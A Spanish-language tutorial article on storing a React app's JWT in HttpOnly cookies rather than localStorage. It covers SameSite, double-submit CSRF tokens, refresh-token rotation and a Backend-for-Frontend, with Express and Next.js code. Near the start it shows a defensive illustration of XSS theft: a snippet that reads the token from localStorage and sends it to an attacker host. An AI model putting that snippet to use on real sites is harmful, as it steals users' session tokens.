Inicio / Artículos

Mover el JWT de una aplicación React fuera de localStorage y hacia cookies HttpOnly

Aprenda por qué los JWT de localStorage son vulnerables a cualquier ataque XSS, cómo las cookies HttpOnly con la opción SameSite, su rotación y el uso de un BFF reducen el riesgo, y qué problemas persisten en las aplicaciones React.

Editor: REACTAPP.TOP9 min de lectura2123 palabras

Fuentes: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

El lugar donde una aplicación React almacena su token de acceso determina cuánto puede costarte un error de scripting entre sitios. Un JWT en localStorage puede ser leído y extraído por cualquier script de la página; uno en una cookie HttpOnly no puede serlo, aunque las cookies plantean problemas diferentes relacionados con la falsificación de solicitudes entre sitios. A continuación encontrará una comparación de ambas opciones, una configuración basada en cookies con un backend Express, y las técnicas de rotación, CSRF y Backend-for-Frontend que la completan.

Dos opciones de almacenamiento, dos modelos de amenaza

El navegador no distingue entre sus propios scripts y los inyectados, por lo que los dos lugares habituales para un JWT presentan riesgos diferentes:

  • localStorage es legible por cualquier JavaScript del mismo dominio. La amenaza es el XSS; las medidas de mitigación son un CSP estricto y la sanitización.
  • Galletas HttpOnly son enviadas por el navegador y son invisibles para JavaScript. La amenaza es CSRF; las medidas de mitigación son SameSite y tokens CSRF.
  • Por qué localStorage convierte XSS en toma de control

    Cualquier script que se ejecute en su dominio necesita dos pasos para robar el token:

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    El código inyectado llega a los proyectos React por más vías de las que esperan los equipos:

    • dangerouslySetInnerHTML con contenido que no controla.
    • Paquetes npm comprometidos, como en los incidentes de event-stream y ua-parser-js.
    • Scripts modificados provenientes de CDNs externas.
    • Renderizadores de Markdown que omiten la sanitización.
    • Extensiones del navegador que inyectan código en la página.

    JSX escapa las cadenas interpoladas, pero esa protección desaparece en cuanto el código decide no utilizarla, generalmente para mostrar información de BIOS o contenido de texto enriquecido:

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    Los sanitizadores ayudan, pero también han sido eludidos. Como referencia, aquí está el conocido cliente localStorage: herramientas para almacenar y leer el token, además de un wrapper que agrega un encabezado Bearer.

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    Es sencillo, y no se puede hacer que sea resistente a XSS, porque el diseño requiere que JavaScript lea el token.

    Galletas HttpOnly como opción por defecto

    El servidor establece la galleta, y cada atributo soluciona una brecha específica:

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly la oculta de document.cookie y de todo acceso desde scripts.
    • Secure la limita a conexiones HTTPS.
    • SameSite=Strict impide que el navegador la incluya en solicitudes iniciadas por otros sitios.
  • Max-Age=900 otorga al token de acceso una vida útil de 15 minutos.
  • El cliente ya no interactúa con el token

    React elimina los auxiliares de almacenamiento y la cabecera correspondiente. La línea esencial es credentials: 'include', lo que hace que fetch envíe cookies. En caso de 401, el mecanismo de envoltura actualiza la solicitud y la vuelve a enviar, o redirige al inicio de sesión.

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    En entornos de producción, se debe limitar la reintentación a un solo intento para que una actualización que “funcione” mientras la API siga devolviendo 401 no continúe recursivamente indefinidamente, y se debe compartir una sola actualización en curso entre fallos concurrentes, tal como se describe en la solución de actualización única en curso.

    El lado Express

    Al iniciar sesión, el servidor firma un token de acceso de 15 minutos y un token de actualización de 7 días con secretos separados, almacena un hash del token de actualización y establece ambos cookies. La cookie de actualización utiliza path: '/auth/refresh' para que solo llegue a ese endpoint. El manejador de actualización verifica el JWT, lo compara con el hash almacenado usando bcrypt y emite una nueva cookie de acceso.

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    Antes de reutilizarlo: importe bcrypt; tenga en cuenta que la actualización tiene codificado secure: true mientras que el inicio de sesión verifica el entorno; además, res.clearCookie('refresh_token') también debe incluir path: '/auth/refresh', de lo contrario la cookie no se elimina realmente.

    CSRF en un mundo SameSite

    El CSRF explota el hecho de que las cookies se envían automáticamente. SameSite soluciona la mayor parte de este problema en el navegador, y los navegadores basados en Chromium tratan las cookies sin ese atributo como Lax. En el caso de una SPA:

    • Elija Strict cuando el frontend y la API comparten un dominio.
    • Elija Lax cuando los usuarios llegan a través de enlaces externos y deben iniciar sesión en esa primera navegación.
    • Evite None a menos que realmente necesite cookies entre sitios y comprenda las consecuencias.

    “Site” se refiere al dominio registrable, por lo que un subdominio relacionado comprometido sigue considerándose del mismo sitio.

    Agregar un token de doble envío

    Como medida adicional de seguridad, el servidor establece un valor aleatorio en una cookie legible; React lo copia en el encabezado X-CSRF-Token, y el servidor rechaza las solicitudes en las que los valores difieren.

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    Una página forjada no puede leer tus cookies debido a la política de mismo origen, por lo que no puede generar el encabezado correspondiente. Con SameSite=Strict y un control estricto de CORS esto suele ser redundante, pero constituye una medida barata contra configuraciones erróneas.

    Rotación de tokens de actualización y detección de reutilización

    Los tokens de acceso cortos junto con tokens de actualización más largos son la configuración básica habitual, pero un token de actualización robado sigue permitiendo el acceso durante días. Con la rotación, cada actualización emite un nuevo token de actualización e invalida al anterior; si un token ya retirado vuelve a aparecer, significa que alguien lo está reutilizando, y la respuesta segura es revocar todas las sesiones de esa cuenta.

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    Primero corrija un error: dentro de if (!user) el código llama a revokeAllUserTokens(user.id) con un valor nulo. La detección real de reutilización debe encontrar al propietario de un token ya rotado, generalmente a través de un registro de “familia de tokens”. Se esperan falsos positivos cuando dos pestañas se actualizan al mismo tiempo; una breve ventana de gracia ayuda. La guía de estrategias de token de refresco aborda más a fondo el lado del servidor.

    Mantener los tokens fuera del cliente con un BFF

    Un Backend-for-Frontend es un servidor ligero entre React y la API real:

    React App → BFF (Next.js API routes / Express) → Actual API
    

    Se ejecutan flujos OAuth (Código de autorización con PKCE), los tokens se almacenan en cookies HttpOnly cifradas, se maneja el CSRF y se elimina la mayor parte de la configuración CORS, ya que el navegador solo hace llamadas a su propio origen. En Next.js, un manejador de rutas puede reenviar las credenciales al servicio de autenticación y convertir el token devuelto en una cookie:

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    Una versión completa también almacenaría el token de actualización y verificaría authRes.ok antes del análisis. Un BFF es adecuado cuando se utiliza OAuth de terceros como Google o GitHub, la API está en otro dominio, se desea separar la lógica de autenticación del paquete o ya se está utilizando Next.js.

    Elegir una configuración

    Para la mayoría de las SPAs del mismo dominio, esta es la configuración básica:

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    Para APIs de dominios diferentes o clientes móviles, localStorage solo es aceptable si se asume el riesgo de XSS y se compensa por él:

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    Para los requisitos más estrictos o protocolos empresariales, un BFF elimina los tokens del navegador:

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    Lista de verificación para la autenticación basada en cookies

    • Marcar las cookies de autenticación con HttpOnly, Secure y SameSite=Strict.
    • Mantener los tokens de acceso por un período de 5 a 15 minutos.
    • Rotar los tokens de actualización con detección de reutilización.
    • Enviar credentials: 'include' en cada llamada fetch o axios.
    • Combinar Access-Control-Allow-Credentials: true con un origen explícito.
    • Asegurarse de que las cookies no aparezcan en los registros ni en las analíticas.
    • Borrar las cookies del lado del servidor en un endpoint /logout, opcionalmente con Clear-Site-Data: "cookies".
    • Implementar de todos modos una política de seguridad de contenido.

    Una respuesta reforzada podría incluir estos encabezados:

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    Conclusión

    Las cookies HttpOnly no hacen que el XSS sea inofensivo: el script inyectado aún puede enviar solicitudes autenticadas mientras la página está abierta. Lo que no puede hacer es llevarse el token y reutilizarlo en otro lugar. Esa diferencia, sumada a sus cortos períodos de validez y rotación, hace que las cookies sean la opción por defecto adecuada para las aplicaciones web, aunque sigue siendo necesario contar con un CSP además de ellas. El CSRF se gestiona en gran medida mediante SameSite y un token de doble envío opcional, mientras que el XSS sigue siendo un riesgo constante en el código de React con muchas dependencias. Cuando la autenticación entre dominios complica el uso de las cookies, es mejor crear un pequeño BFF en lugar de recurrir a localStorage.

    Lectura relacionada

  • Conviirtiendo un script de Playwright en herramienta: almacenamiento, intentos repetidos, CLI y límites impuestos por la IA — Cómo un script de Playwright creado una sola vez evoluciona hasta convertirse en una herramienta reutilizable de Node.js con historial en SQLite, eliminación de duplicados, intentos repetidos, una CLI Commander, configuraciones y tareas generadas por IA validadas.